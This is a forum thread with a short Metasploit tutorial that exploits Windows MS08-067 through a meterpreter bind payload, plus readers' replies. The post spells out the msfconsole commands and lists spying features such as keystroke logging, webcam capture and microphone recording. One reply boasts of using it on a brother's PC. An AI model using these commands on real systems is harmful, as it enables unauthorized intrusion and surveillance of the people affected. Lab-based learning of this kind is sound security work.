Exploiting a target using Metasploit

Gninja
11 years ago | edited 11 years ago

0

Hi all, here is a quick tutorial on how to connect and exploit a target machine using Metasploit.

This is for information purposes only do not do this illegally. I did this on a VM lab I created specifically for learning purposes only.

So first of lets boot up a version of Metasploit, with the cmd msfconsole:

Image

Now we need to setup our windows exploit with the following commands:
1. use exploit/windows/smb/ms08_067_netapi
2. set payload windows/meterpreter/bind_tcp
3. set RHOST 192.168.0.10 (This IP Address will be your targets IP gained from a scan)
4. exploit (This command carries out the exploit as seen below)

Image

All being well you should have connected to the target and carry out a number of commands. Below is the screenshot command.

Image

And thats it :) easy!!

There are loads of commands to run under this exploit, just type help and a list will be displayed.
Examples are: Recording audio from microphones, screenshots from their webcam, gathering keystrokes and downloading files.

I hope you enjoyed this short tutorial and hopefully it will be posted :)
Happy hacking all ^__^

10replies
7voices
600views
3images
DaGr8Kornolio
11 years ago

0

I can’t wait to get my hands on Metasploit… But I’m not their yet… Thanks for sharing!

DaGr8

Gninja
11 years ago

0

Its such a powerful tool and if people like my short tutorials I’ll do more :)

[d3adMaN]
11 years ago

0

hey cool, I got metasploit a few days ago, so this tutorial is right on time. thanks Gninja! :)

[IAmDevil]
11 years ago

0

That was one which i tried on my brothers PC !!!
He just got so pissed off !!!!!!!!!!!!!!

[IAmDevil]
11 years ago

0

But thats vey usefull when you have a slow internet connection !!!!!!

? [djsimon21]
11 years ago

0

nice tutorial Gninja keep then coming :)

Hacked4Fun
11 years ago

0

Keep these tutorials coming!

Gninja
11 years ago

0

Thanks all :) im working on some more using Metasploit

guuf
11 years ago

0

Gninja, well done! Short and to the point, keep them coming. I ask only one thing, Im having difficulty with reading your images. I dont mean to be critical, just having trouble visually (blurring). Excuse me, my age is showing. Again Good Job!

Gninja
11 years ago | edited 11 years ago

0

@guuf Thanks i’ll try and square the images away in the future:)

You must be logged in to reply to this discussion. Login
1 of 11

This site only uses cookies that are essential for the functionality of this website. Cookies are not used for tracking or marketing purposes.

By using our site, you acknowledge that you have read and understand our Privacy Policy, and Terms of Service.

Dismiss